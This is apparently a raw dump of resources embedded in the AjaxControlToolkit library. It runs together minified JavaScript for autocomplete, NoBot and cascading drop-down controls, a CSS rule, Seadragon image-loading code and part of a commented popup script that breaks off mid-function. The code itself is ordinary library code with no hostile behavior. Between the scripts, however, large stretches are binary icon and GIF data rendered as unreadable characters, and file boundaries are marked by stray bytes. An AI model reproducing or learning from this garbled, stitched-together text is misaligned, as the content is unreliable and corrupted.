this._enableCaching},set_enableCaching:function(a){if(this._enableCaching!=a){this._enableCaching=a;this.raisePropertyChanged("enableCaching")}},get_completionListElementID:function(){return this._completionListElementID},set_completionListElementID:function(a){if(this._completionListElementID!=a){this._completionListElementID=a;this.raisePropertyChanged("completionListElementID")}},get_completionListCssClass:function(){return this._completionListCssClass},set_completionListCssClass:function(a){if(this._completionListCssClass!=a){this._completionListCssClass=a;this.raisePropertyChanged("completionListCssClass")}},get_completionListItemCssClass:function(){return this._completionListItemCssClass},set_completionListItemCssClass:function(a){if(this._completionListItemCssClass!=a){this._completionListItemCssClass=a;this.raisePropertyChanged("completionListItemCssClass")}},get_highlightedItemCssClass:function(){return this._highlightedItemCssClass},set_highlightedItemCssClass:function(a){if(this._highlightedItemCssClass!=a){this._highlightedItemCssClass=a;this.raisePropertyChanged("highlightedItemCssClass")}},get_delimiterCharacters:function(){return this._delimiterCharacters},set_delimiterCharacters:function(a){if(this._delimiterCharacters!=a){this._delimiterCharacters=a;this.raisePropertyChanged("delimiterCharacters")}},get_firstRowSelected:function(){return this._firstRowSelected},set_firstRowSelected:function(a){if(this._firstRowSelected!=a){this._firstRowSelected=a;this.raisePropertyChanged("firstRowSelected")}},get_showOnlyCurrentWordInCompletionListItem:function(){return this._showOnlyCurrentWordInCompletionListItem},set_showOnlyCurrentWordInCompletionListItem:function(a){if(this._showOnlyCurrentWordInCompletionListItem!=a){this._showOnlyCurrentWordInCompletionListItem=a;this.raisePropertyChanged("showOnlyCurrentWordInCompletionListItem")}},add_populating:function(a){this.get_events().addHandler("populating",a)},remove_populating:function(a){this.get_events().removeHandler("populating",a)},raisePopulating:function(b){var a=this.get_events().getHandler("populating");a&&a(this,b)},add_populated:function(a){this.get_events().addHandler("populated",a)},remove_populated:function(a){this.get_events().removeHandler("populated",a)},raisePopulated:function(b){var a=this.get_events().getHandler("populated");a&&a(this,b)},add_showing:function(a){this.get_events().addHandler("showing",a)},remove_showing:function(a){this.get_events().removeHandler("showing",a)},raiseShowing:function(b){var a=this.get_events().getHandler("showing");a&&a(this,b)},add_shown:function(a){this.get_events().addHandler("shown",a)},remove_shown:function(a){this.get_events().removeHandler("shown",a)},raiseShown:function(b){var a=this.get_events().getHandler("shown");a&&a(this,b)},add_hiding:function(a){this.get_events().addHandler("hiding",a)},remove_hiding:function(a){this.get_events().removeHandler("hiding",a)},raiseHiding:function(b){var a=this.get_events().getHandler("hiding");a&&a(this,b)},add_hidden:function(a){this.get_events().addHandler("hidden",a)},remove_hidden:function(a){this.get_events().removeHandler("hidden",a)},raiseHidden:function(b){var a=this.get_events().getHandler("hidden");a&&a(this,b)},add_itemSelected:function(a){this.get_events().addHandler("itemSelected",a)},remove_itemSelected:function(a){this.get_events().removeHandler("itemSelected",a)},raiseItemSelected:function(b){var a=this.get_events().getHandler("itemSelected");a&&a(this,b)},add_itemOver:function(a){this.get_events().addHandler("itemOver",a)},remove_itemOver:function(a){this.get_events().removeHandler("itemOver",a)},raiseItemOver:function(b){var a=this.get_events().getHandler("itemOver");a&&a(this,b)},add_itemOut:function(a){this.get_events().addHandler("itemOut",a)},remove_itemOut:function(a){this.get_events().removeHandler("itemOut",a)},raiseItemOut:function(b){var a=this.get_events().getHandler("itemOut");a&&a(this,b)}};AjaxControlToolkit.AutoCompleteBehavior.registerClass("AjaxControlToolkit.AutoCompleteBehavior",AjaxControlToolkit.BehaviorBase);AjaxControlToolkit.AutoCompleteBehavior.descriptor={properties:[{name:"completionInterval",type:Number},{name:"completionList",isDomElement:true},{name:"completionListElementID",type:String},{name:"completionSetCount",type:Number},{name:"minimumPrefixLength",type:Number},{name:"serviceMethod",type:String},{name:"servicePath",type:String},{name:"enableCaching",type:Boolean},{name:"showOnlyCurrentWordInCompletionListItem",type:Boolean}]};AjaxControlToolkit.AutoCompleteItemEventArgs=function(c,d,b){var a=this;AjaxControlToolkit.AutoCompleteItemEventArgs.initializeBase(a);a._item=c;a._text=d;a._value=b!==undefined?b:null};AjaxControlToolkit.AutoCompleteItemEventArgs.prototype={get_item:function(){return this._item},set_item:function(a){this._item=a},get_text:function(){return this._text},set_text:function(a){this._text=a},get_value:function(){return this._value},set_value:function(a){this._value=a}};AjaxControlToolkit.AutoCompleteItemEventArgs.registerClass("AjaxControlToolkit.AutoCompleteItemEventArgs",Sys.EventArgs);9Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.NoBotBehavior=function(a){AjaxControlToolkit.NoBotBehavior.initializeBase(this,[a]);this._ChallengeScript=""};AjaxControlToolkit.NoBotBehavior.prototype={initialize:function(){AjaxControlToolkit.NoBotBehavior.callBaseMethod(this,"initialize");var response=eval(this._ChallengeScript);AjaxControlToolkit.NoBotBehavior.callBaseMethod(this,"set_ClientState",[response])},dispose:function(){AjaxControlToolkit.NoBotBehavior.callBaseMethod(this,"dispose")},get_ChallengeScript:function(){return this._ChallengeScript},set_ChallengeScript:function(a){if(this._ChallengeScript!=a){this._ChallengeScript=a;this.raisePropertyChanged("ChallengeScript")}}};AjaxControlToolkit.NoBotBehavior.registerClass("AjaxControlToolkit.NoBotBehavior",AjaxControlToolkit.BehaviorBase);E"Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.CascadingDropDownSelectionChangedEventArgs=function(b,a){AjaxControlToolkit.CascadingDropDownSelectionChangedEventArgs.initializeBase(this);this._oldValue=b;this._newValue=a};AjaxControlToolkit.CascadingDropDownSelectionChangedEventArgs.prototype={get_oldValue:function(){return this._oldValue},get_newValue:function(){return this._newValue}};AjaxControlToolkit.CascadingDropDownSelectionChangedEventArgs.registerClass("AjaxControlToolkit.CascadingDropDownSelectionChangedEventArgs",Sys.EventArgs);AjaxControlToolkit.CascadingDropDownBehavior=function(c){var b=null,a=this;AjaxControlToolkit.CascadingDropDownBehavior.initializeBase(a,[c]);a._parentControlID=b;a._category=b;a._promptText=b;a._loadingText=b;a._promptValue=b;a._emptyValue=b;a._emptyText=b;a._servicePath=b;a._serviceMethod=b;a._contextKey=b;a._useContextKey=false;a._parentElement=b;a._changeHandler=b;a._parentChangeHandler=b;a._lastParentValues=b;a._selectedValue=b};AjaxControlToolkit.CascadingDropDownBehavior.prototype={initialize:function(){var a=this;AjaxControlToolkit.CascadingDropDownBehavior.callBaseMethod(a,"initialize");$common.prepareHiddenElementForATDeviceUpdate();var b=a.get_element();a._clearItems();b.CascadingDropDownCategory=a._category;a._changeHandler=Function.createDelegate(a,a._onChange);$addHandler(b,"change",a._changeHandler);if(a._parentControlID){a._parentElement=$get(a._parentControlID);Sys.Debug.assert(a._parentElement!=null,String.format(AjaxControlToolkit.Resources.CascadingDropDown_NoParentElement,a._parentControlID));if(a._parentElement){b.CascadingDropDownParentControlID=a._parentControlID;a._parentChangeHandler=Function.createDelegate(a,a._onParentChange);$addHandler(a._parentElement,"change",a._parentChangeHandler);if(!a._parentElement.childDropDown)a._parentElement.childDropDown=[];a._parentElement.childDropDown.push(a)}}a._onParentChange(null,true)},dispose:function(){var a=this,b=a.get_element();if(a._changeHandler){$removeHandler(b,"change",a._changeHandler);a._changeHandler=null}if(a._parentChangeHandler){a._parentElement&&$removeHandler(a._parentElement,"change",a._parentChangeHandler);a._parentChangeHandler=null}AjaxControlToolkit.CascadingDropDownBehavior.callBaseMethod(a,"dispose")},_clearItems:function(){var a=this.get_element();while(0<a.options.length)a.remove(0)},_isPopulated:function(){var a=this.get_element().options.length;if(this._promptText)return a>1;else return a>0},_setOptions:function(c,m,f){var a=this;if(!a.get_isInitialized())return;var b=a.get_element();a._clearItems();var g,h="";if(f&&a._loadingText){g=a._loadingText;if(a._selectedValue)h=a._selectedValue}else if(!f&&c&&0==c.length&&null!=a._emptyText){g=a._emptyText;if(a._emptyValue)h=a._emptyValue}else if(a._promptText){g=a._promptText;if(a._promptValue)h=a._promptValue}if(g){var j=new Option(g,h);b.options[b.options.length]=j}var d=null,e=-1;if(c){for(i=0;i<c.length;i++){var n=c[i].name,k=c[i].value;if(c[i].isDefaultValue){e=i;if(a._promptText)e++}var j=new Option(n,k);if(k==a._selectedValue)d=j;b.options[b.options.length]=j}if(d)d.selected=true}if(d)a.set_SelectedValue(b.options[b.selectedIndex].value,b.options[b.selectedIndex].text);else if(!d&&e!=-1){b.options[e].selected=true;a.set_SelectedValue(b.options[e].value,b.options[e].text)}else if(!m&&!d&&!f&&!a._promptText&&b.options.length>0)a.set_SelectedValue(b.options[0].value,b.options[0].text);else!m&&!d&&!f&&a.set_SelectedValue("","");if(b.childDropDown&&!f)for(i=0;i<b.childDropDown.length;i++)b.childDropDown[i]._onParentChange();else if(c&&Sys.Browser.agent!==Sys.Browser.Safari&&Sys.Browser.agent!==Sys.Browser.Opera)if(document.createEvent){var l=document.createEvent("HTMLEvents");l.initEvent("change",true,false);a.get_element().dispatchEvent(l)}else document.createEventObject&&a.get_element().fireEvent("onchange");if(a._loadingText||a._promptText||a._emptyText)b.disabled=!c||0==c.length;a.raisePopulated(Sys.EventArgs.Empty)},_onChange:function(){var b=this;if(!b._isPopulated())return;var a=b.get_element();if(-1!=a.selectedIndex&&!(b._promptText&&0==a.selectedIndex))b.set_SelectedValue(a.options[a.selectedIndex].value,a.options[a.selectedIndex].text);else b.set_SelectedValue("","")},_onParentChange:function(i,g){var a=this,j=a.get_element(),b="",d=a._parentControlID;while(d){var c=$get(d);if(c&&-1!=c.selectedIndex){var e=c.options[c.selectedIndex].value;if(e&&e!=""){b=c.CascadingDropDownCategory+":"+e+";"+b;d=c.CascadingDropDownParentControlID;continue}}break}if(b!=""&&a._lastParentValues==b)return;a._lastParentValues=b;if(b==""&&a._parentControlID){a._setOptions(null,g);return}a._setOptions(null,g,true);if(a._servicePath&&a._serviceMethod){var f=new Sys.CancelEventArgs;a.raisePopulating(f);if(f.get_cancel())return;var h={knownCategoryValues:b,category:a._category};if(a._useContextKey)h.contextKey=a._contextKey;Sys.Net.WebServiceProxy.invoke(a._servicePath,a._serviceMethod,false,h,Function.createDelegate(a,a._onMethodComplete),Function.createDelegate(a,a._onMethodError));$common.updateFormToRefreshATDeviceBuffer()}},_onMethodComplete:function(a){this._setOptions(a)},_onMethodError:function(b){var a=this;if(b.get_timedOut())a._setOptions([a._makeNameValueObject(AjaxControlToolkit.Resources.CascadingDropDown_MethodTimeout)]);else a._setOptions([a._makeNameValueObject(String.format(AjaxControlToolkit.Resources.CascadingDropDown_MethodError,b.get_statusCode()))])},_makeNameValueObject:function(a){return {name:a,value:a}},get_ParentControlID:function(){return this._parentControlID},set_ParentControlID:function(a){if(this._parentControlID!=a){this._parentControlID=a;this.raisePropertyChanged("ParentControlID")}},get_Category:function(){return this._category},set_Category:function(a){if(this._category!=a){this._category=a;this.raisePropertyChanged("Category")}},get_PromptText:function(){return this._promptText},set_PromptText:function(a){if(this._promptText!=a){this._promptText=a;this.raisePropertyChanged("PromptText")}},get_PromptValue:function(){return this._promptValue},set_PromptValue:function(a){if(this._promptValue!=a){this._promptValue=a;this.raisePropertyChanged("PromptValue")}},get_EmptyText:function(){return this._emptyText},set_EmptyText:function(a){if(this._emptyText!=a){this._emptyText=a;this.raisePropertyChanged("EmptyText")}},get_EmptyValue:function(){return this._emptyValue},set_EmptyValue:function(a){if(this._emptyValue!=a){this._emptyValue=a;this.raisePropertyChanged("EmptyValue")}},get_LoadingText:function(){return this._loadingText},set_LoadingText:function(a){if(this._loadingText!=a){this._loadingText=a;this.raisePropertyChanged("LoadingText")}},get_SelectedValue:function(){return this._selectedValue},set_SelectedValue:function(b,c){var a=this;if(a._selectedValue!=b){if(!c){var d=b.indexOf(":::");if(-1!=d){c=b.slice(d+3);b=b.slice(0,d)}}var e=a._selectedValue;a._selectedValue=b;a.raisePropertyChanged("SelectedValue");a.raiseSelectionChanged(new AjaxControlToolkit.CascadingDropDownSelectionChangedEventArgs(e,b))}AjaxControlToolkit.CascadingDropDownBehavior.callBaseMethod(a,"set_ClientState",[a._selectedValue+":::"+c])},get_ServicePath:function(){return this._servicePath},set_ServicePath:function(a){if(this._servicePath!=a){this._servicePath=a;this.raisePropertyChanged("ServicePath")}},get_ServiceMethod:function(){return this._serviceMethod},set_ServiceMethod:function(a){if(this._serviceMethod!=a){this._serviceMethod=a;this.raisePropertyChanged("ServiceMethod")}},get_contextKey:function(){return this._contextKey},set_contextKey:function(b){var a=this;if(a._contextKey!=b){a._contextKey=b;a.set_useContextKey(true);a.raisePropertyChanged("contextKey")}},get_useContextKey:function(){return this._useContextKey},set_useContextKey:function(a){if(this._useContextKey!=a){this._useContextKey=a;this.raisePropertyChanged("useContextKey")}},add_selectionChanged:function(a){this.get_events().addHandler("selectionChanged",a)},remove_selectionChanged:function(a){this.get_events().removeHandler("selectionChanged",a)},raiseSelectionChanged:function(b){var a=this.get_events().getHandler("selectionChanged");a&&a(this,b)},add_populating:function(a){this.get_events().addHandler("populating",a)},remove_populating:function(a){this.get_events().removeHandler("populating",a)},raisePopulating:function(b){var a=this.get_events().getHandler("populating");a&&a(this,b)},add_populated:function(a){this.get_events().addHandler("populated",a)},remove_populated:function(a){this.get_events().removeHandler("populated",a)},raisePopulated:function(b){var a=this.get_events().getHandler("populated");a&&a(this,b)}};AjaxControlToolkit.CascadingDropDownBehavior.registerClass("AjaxControlToolkit.CascadingDropDownBehavior",AjaxControlToolkit.BehaviorBase);6   �& h�( @ 


 !""""""""""""""! 

$.59;;;;;;;;;;;;;;;;95.$

%:IT[]^^^^^^^^^^^^^^][TI:%
.I]kswwwwwwwwwwwwwwwwsk]I.5Tk|������������������|kT5���{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN��s[: ��������������������������������������������������������������������Ⱦ�{bN��v];"������������������������������������������������������������������������ɿ�{bN��w^;"�����������������������������������������������������������������������{bN��w^;"����������������������������������������������������������������������������{bN��w^;"����������������������������������������������������������������������������{bN��w^;"������������������������������������������������������������������������������{bN��w^;"����������������������������������������������������������������������������{bN��w^;"������������������������������������������������������������������������������{bN��w^;"��������������������������������������������������������������������������������{bN��w^;"����������������������������������������������������������������������������������{bN��w^;"���������������������������������������������������������������������������������{bN��v];"�������������������������������������������������������������������������������������{bN��s[: ���������������������������������������������������������������������������������������{bN�|kT5��������������������������������������������������������������������������������������{bN�k]I.�����������������������������������������������������������������������������������������{bN�TI:%
������������������������������������������������������������������������������������������{bN�5.$
�������������������������������������������������������������������������������������������{bN�
������������������������������������������������������������������������
��������������������(  !,/0000000/,!!HahiiiiiiihaH!,a�����������a,��}�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN��gT�x^F��h0��������������������������������Ⱦ��Ⱦ�x^F��j2�����������������������������������������x^F��m7������������������������������������������x^F��q>��������������������������������������������x^F��tA����������������������������������������������x^F�ooo�r>�����������������������������������������������x^F�����e4�����������������������������������������������x^F�����J#������������������������������������������������x^F�@@@8!����������������������������������������������������5Tk|����������.ajax__htmleditor_htmlpanel_default
{
	margin: 0px;
	padding: 0px;
	border-width: 0px;
	overflow: auto;
	background-color: #FFFFFF;
	font-family: verdana,sans-serif; font-size: 10pt;
	color: #000000;
}
rGIF89a��������������������������������������������������������������������������������������������������������������������������������������������~~~}}}zzzkkkiiifffaaa[[[XXXLLLIIIHHHFFFCCC<<<;;;555���!�A,πA�����������������������������A��,588669
���
%;���-"�	+;�����-)?�Ƣ�0&�2*.$�ڐ�34��(1$���>'��4/#`�G҆�=����7@�@Q�wQ�ŏ!e	b���(4�0�eKH�bʜIR��8s��	��ϟ@�J4;�GIF89a�����������������������������������������������������������������������������������������������������������������������������������}}}{{{vvvhhh^^^NNNKKKDDDAAA???===555333���!�:,�@�pH,���r�l
���3JUN���2�`�ڤ	���JY�P+�q���+r/���!`_Ka9%I'879KB��#9)�3e��:��41�.2��B��(9!���B��,+�ĽB���*���B��� ��B�����B����������B����G��A;GIF89a�?�����������������������������������������������������������������������������������������������������������������@@@@@�������)^�������!�?,���pH,�I�l:�M�ET�Y���U(:9n`po����ٍQ��{����)����<=��B7	6|��~6��B4���=��B5
-=�oo���6+��>��>=�B64�=89��9=4�B10=#�=�>��=*B0!(=�=>9�88=2B!$�/���(BSnȔ��-H��bG�/L�#�֎�x�A!��5��%��
 ��p� �	L���@�
LH���4H0A��d@d����P��	�իA;�GIF89a����XXY�����������������������������������������������������������������������������������������������������yyywwwrrreeeaaaLLLHHH???333���!�.,�@�pH,���r�l
���3JUN��+�MZ-U��j	�.�5
2��{�M��`Nw�wm(IB�� l������$l
)
�����-'�"&�����-,"!+�����(-%������	�͈��`���و��r�������������G��A;�GIF89a�����������������������������������������������������������������Ŷ�����������������������|||llliiihhhfff^^^]]]333���!�(,�@�pH,���r�l
���3JUN��+�]F:��G�EQ	'Sap���'"E��&Q��$'��B��'%�����r�����z������ "#!�����	
���
�����Ɋ����֊
����܊�����G��A;GIF89a�?��몴l�������Ԅn�Õ��f�����������ZHs����������i~�ȣú������쥯�������ӽ�}�����������������X������������������oYŏ����ꉃ��
���������)^������������!�?,���pH,�����l:�M����Y���UȈHv�xFv��z�n���Je���{}_� .92$w$5�8�8B:%�$	�	�	��B=8	#$�#��#���8#7�w�����68:�%�

����B1�

!4���1���&/�!&<�����>��!+&��BS>":� ��A�,�xaOȆ>"�(0����+���NJB �) b�->pp`0,X�B�%=�L�R�(	�.T8B��
. ���(
a%�fM��ё�`�;0GIF89a�x�䇿��!��,
H0@;�GIF89a
��dg�eh�mp�or�os�ps�sv�qt�tw�ux�x{�x{�x|�{~�|������������������������������������’�Ó�ƒ�Ǔ�Ĕ�ŕ�Ɩ�Ǘ�˗�Ș�ə�˛�͙�̜�͝�Ξ�ϟ�Р�ѡ�ӣ�֦�ק�٩�ڪ�۫�ܬ�꺽켿����������!��,
�k�H��Ĉ"H�`��D8T��FC"Vx0��9p��q�F�:@��a�C��1D��+K~��R&K^��r���$ih8���L}��Тg�XX��uҖT|�Q!�WL��`b+�2h�����A����(0@@��;�GIF89a
�			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������,
����L�cĄ���kW.\�hɊj��^�nɋ'ocǎ�8~�7�SZ�^Ńo%˖,]��D��,U����ɳ�E���Juʧѝ��yu��Q���qe��S�y��a�i�q侂V,Yrlؼi�(Ѳ�o�*+8wnA0_�uIU*T�J�
�'O�6i�d�ΝG;�GIF89a
�			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������,
����5K�+W�Z�u땪T�LmR$jX�U�N�ڔ��2y�މ|Gn�*e��|7nY*d�T�$��1�+K�"�re�R�b�\FʗЙ�D�)r��P�p�l	jWϙ�<�*��'\R�.�d�hSe�h�e�L���l/��JR��P�,-*�'0u}��h��;l�ܑ��N�9q�i�( ;�
Type.registerNamespace('AjaxControlToolkit.Seadragon');

AjaxControlToolkit.Seadragon.Job = function(src, callback) {
    this._image = null;
    this._timeout = null;
    this._src = src;
    this._callback = callback;
    this.TIMEOUT = 5000;
}
AjaxControlToolkit.Seadragon.Job.prototype = {
    _finish: function(success) {
        this._image.onload = null;
        this._image.onabort = null;
        this._image.onerror = null;


        if (this._timeout) {
            window.clearTimeout(this._timeout);
        }

        // call on a timeout to ensure asynchronous behavior
        var image = this._image;
        var callback = this._callback;
        window.setTimeout(function() {
            callback(this._src, success ? image : null);
        }, 1);
    },
    _onloadHandler: function() {
        this._finish(true);
    },
    _onerrorHandler: function() {
        this._finish(false);
    },
    start: function() {
        this._image = new Image();
        this._image.onload = Function.createDelegate(this, this._onloadHandler);
        this._image.onabort = Function.createDelegate(this, this._onerrorHandler);
        this._image.onerror = Function.createDelegate(this, this._onerrorHandler);

        // consider it a failure if the image times out.
        this._timeout = window.setTimeout(Function.createDelegate(this, this._onerrorHandler), this.TIMEOUT);

        this._image.src = this._src;
    }
}
AjaxControlToolkit.Seadragon.Job.registerClass('AjaxControlToolkit.Seadragon.Job', null, Sys.IDisposable);


AjaxControlToolkit.Seadragon.ImageLoader = function(imageLoaderLimit) {
	this._downloading = 0;
	this.imageLoaderLimit = imageLoaderLimit;
}
AjaxControlToolkit.Seadragon.ImageLoader.prototype = {
    _onComplete: function(callback, src, image) {
        this._downloading--;
        if (typeof (callback) == "function") {
            try {
                callback(image);
            } catch (e) {
                Seadragon.Debug.error(e.name + " while executing " + src +
                            " callback: " + e.message, e);
            }
        }
    },
    loadImage: function(src, callback) {
        if (this._downloading >= this.imageLoaderLimit) {
            return false;
        }

        var func = Seadragon.Utils.createCallback(null, Function.createDelegate(this, this._onComplete), callback);
        var job = new AjaxControlToolkit.Seadragon.Job(src, func);

        this._downloading++;
        job.start();

        return true;
    }
}
AjaxControlToolkit.Seadragon.ImageLoader.registerClass('AjaxControlToolkit.Seadragon.ImageLoader', null, Sys.IDisposable);

�Type.registerNamespace('AjaxControlToolkit.Seadragon');

AjaxControlToolkit.Seadragon.DisplayRect = function(x, y, width, height, minLevel, maxLevel) {
AjaxControlToolkit.Seadragon.DisplayRect.initializeBase(this, [x, y, width, height]);

    this.minLevel = minLevel;
    this.maxLevel = maxLevel;
}
AjaxControlToolkit.Seadragon.DisplayRect.registerClass('AjaxControlToolkit.Seadragon.DisplayRect', AjaxControlToolkit.Seadragon.Rect);
T�// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../Animation/Animations.js" />
/// <reference path="../Animation/AnimationBehavior.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.PopupBehavior = function(element) {
    /// <summary>
    /// The PopupBehavior is used to show/hide an element at a position
    /// relative to another element
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" mayBeNull="false" domElement="true">
    /// The DOM element the behavior is associated with
    /// </param>
    AjaxControlToolkit.PopupBehavior.initializeBase(this, [element]);

    this._x = 0;
    this._y = 0;
    this._positioningMode = AjaxControlToolkit.PositioningMode.Absolute;
    this._parentElement = null;
    this._parentElementID = null;
    this._moveHandler = null;
    this._firstPopup = true;    
    this._originalParent = null;
    this._visible = false;

    this._onParentRepositionHandler = null;
    this._elementsWithAttachedRepositionHandlers = null;
    
    // Generic animation behaviors that automatically build animations
    // from JSON descriptions
    this._onShow = null;
    this._onShowEndedHandler = null;
    this._onHide = null;
    this._onHideEndedHandler = null;
}
AjaxControlToolkit.PopupBehavior.prototype = {
    initialize: function() {
        /// <summary>
        /// Initialize the PopupBehavior
        /// </summary>
        AjaxControlToolkit.PopupBehavior.callBaseMethod(this, 'initialize');

        this._hidePopup();

        this._prepareElement();

        // Create handlers for the animation ended events
        this._onShowEndedHandler = Function.createDelegate(this, this._onShowEnded);
        this._onHideEndedHandler = Function.createDelegate(this, this._onHideEnded);
    },

    dispose: function() {
        /// <summary>
        /// Dispose the PopupBehavior
        /// </summary>

        var element = this.get_element();
        if (element) {
            if (this._visible) {
                this.hide();
            }
            if (this._originalParent) {
                element.parentNode.removeChild(element);
                this._originalParent.appendChild(element);
                this._originalParent = null;
            }

            // Remove expando properties
            element._hideWindowedElementsIFrame = null;
        }
        this._parentElement = null;

        // Remove the animation ended events and wipe the animations
        // (we don't need to dispose them because that will happen
        // automatically in our base dispose)
        if (this._onShow && this._onShow.get_animation() && this._onShowEndedHandler) {
            this._onShow.get_animation().remove_ended(this._onShowEndedHandler);
        }
        this._onShowEndedHandler = null;
        this._onShow = null;
        if (this._onHide && this._onHide.get_animation() && this._onHideEndedHandler) {
            this._onHide.get_animation().remove_ended(this._onHideEndedHandler);
        }
        this._onHideEndedHandler = null;
        this._onHide = null;

        if (this._onParentRepositionHandler != null) {
            $removeHandler(window, 'resize', this._onParentRepositionHandler);
        }

        if (this._elementsWithAttachedRepositionHandlers != null) {
            for (var i = 0; i < this._elementsWithAttachedRepositionHandlers.length; i++) {
                $removeHandler(this._elementsWithAttachedRepositionHandlers[i], 'resize', this._onParentRepositionHandler);
                $removeHandler(this._elementsWithAttachedRepositionHandlers[i], 'scroll', this._onParentRepositionHandler);
            }

            this._elementsWithAttachedRepositionHandlers = null;
        }

        this._onParentRepositionHandler = null;

        AjaxControlToolkit.PopupBehavior.callBaseMethod(this, 'dispose');
    },

    _prepareElement: function() {
        /// <summary>
        /// Makes the element a child of the body element 
        /// and attaches onscroll event handlers to synchronize the position 
        /// of the popup with the position of the element
        /// </summary>

        var element = this.get_element();

        this._onParentRepositionHandler = Function.createDelegate(this, this._reposition);
        this._elementsWithAttachedRepositionHandlers = new Array();

        var parent = element.parentNode;
        while (parent) {
            if (parent == document.body) {
                break;
            }
            $addHandler(parent, 'scroll', this._onParentRepositionHandler);
            $addHandler(parent, 'resize', this._onParentRepositionHandler);
            this._elementsWithAttachedRepositionHandlers.push(parent);

            parent = parent.parentNode;
        }

        $addHandler(window, 'resize', this._onParentRepositionHandler);

        element.style.position = 'absolute';
        $common.appendElementToFormOrBody(element);
    },

    _reposition: function() {
        if (!this._visible) {
            return;
        }

        this.setupPopup();
    },

    show: function() {
        /// <summary>
        /// Show the popup
        /// </summary>

        // Ignore requests to hide multiple times
        if (this._visible) {
            return;
        }

        var eventArgs = new Sys.CancelEventArgs();
        this.raiseShowing(eventArgs);
        if (eventArgs.get_cancel()) {
            return;
        }

        // Either show the popup or play an animation that does
        // (note: even if we're animating, we still show and position
        // the popup before hiding it again and playing the animation
        // which makes the animation much simpler)
        this._visible = true;
        var element = this.get_element();
        $common.setVisible(element, true);
        this.setupPopup();
        if (this._onShow) {
            $common.setVisible(element, false);
            this.onShow();
        } else {
            this.raiseShown(Sys.EventArgs.Empty);
        }
    },

    hide: function() {
        /// <summary>
        /// Hide the popup
        /// </summary>

        // Ignore requests to hide multiple times
        if (!this._visible) {
            return;
        }

        var eventArgs = new Sys.CancelEventArgs();
        this.raiseHiding(eventArgs);
        if (eventArgs.get_cancel()) {
            return;
        }

        // Either hide the popup or play an animation that does
        this._visible = false;
        if (this._onHide) {
            this.onHide();
        } else {
            this._hidePopup();
            this._hideCleanup();
        }
    },

    getBounds: function() {
        /// <summary>
        /// Get the expected bounds of the popup relative to its parent
        /// </summary>
        /// <returns type="Sys.UI.Bounds" mayBeNull="false">
        /// Bounds of the popup relative to its parent
        /// </returns>
        /// <remarks>
        /// The actual final position can only be calculated after it is
        /// initially set and we can verify it doesn't bleed off the edge
        /// of the screen.
        /// </remarks>

        var element = this.get_element();

        // offsetParent (doc element if absolutely positioned or no offsetparent available)
        var offsetParent = element.offsetParent || document.documentElement;

        // diff = difference in position between element's offsetParent and the element we will attach popup to.
        // this is basically so we can position the popup in the right spot even though it may not be absolutely positioned
        var diff;
        var parentBounds;
        if (this._parentElement) {
            // we will be positioning the element against the assigned parent
            parentBounds = $common.getBounds(this._parentElement);
            var offsetParentLocation = $common.getLocation(offsetParent);
            diff = { x: parentBounds.x - offsetParentLocation.x, y: parentBounds.y - offsetParentLocation.y };
        } else {
            // we will be positioning the element against the offset parent by default, since no parent element given
            parentBounds = $common.getBounds(offsetParent);
            diff = { x: 0, y: 0 };
        }

        // width/height of the element, needed for calculations that involve width like centering
        var width = element.offsetWidth - (element.clientLeft ? element.clientLeft * 2 : 0);
        var height = element.offsetHeight - (element.clientTop ? element.clientTop * 2 : 0);

        // Setting the width causes the element to grow by border+passing every
        // time.  But not setting it causes strange behavior in safari. Just set it once.
        if (this._firstpopup) {
            element.style.width = width + "px";
            this._firstpopup = false;
        }

        var position, pos;
        switch (this._positioningMode) {
            case AjaxControlToolkit.PositioningMode.Center:
                pos = {
                    x: Math.round(parentBounds.width / 2 - width / 2),
                    y: Math.round(parentBounds.height / 2 - height / 2),
                    altX: Math.round(parentBounds.width / 2 - width / 2),
                    altY: Math.round(parentBounds.height / 2 - height / 2)
                };
                break;
            case AjaxControlToolkit.PositioningMode.BottomLeft:
                pos = {
                    x: 0,
                    y: parentBounds.height,
                    altX: parentBounds.width - width,
                    altY: 0 - height
                }
                break;
            case AjaxControlToolkit.PositioningMode.BottomRight:
                pos = {
                    x: parentBounds.width - width,
                    y: parentBounds.height,
                    altX: 0,
                    altY: 0 - height
                }
                break;
            case AjaxControlToolkit.PositioningMode.TopLeft:
                pos = {
                    x: 0,
                    y: -element.offsetHeight,
                    altX: parentBounds.width - width,
                    altY: parentBounds.height
                }
                break;
            case AjaxControlToolkit.PositioningMode.TopRight:
                pos = {
                    x: parentBounds.width - width,
                    y: -element.offsetHeight,
                    altX: 0,
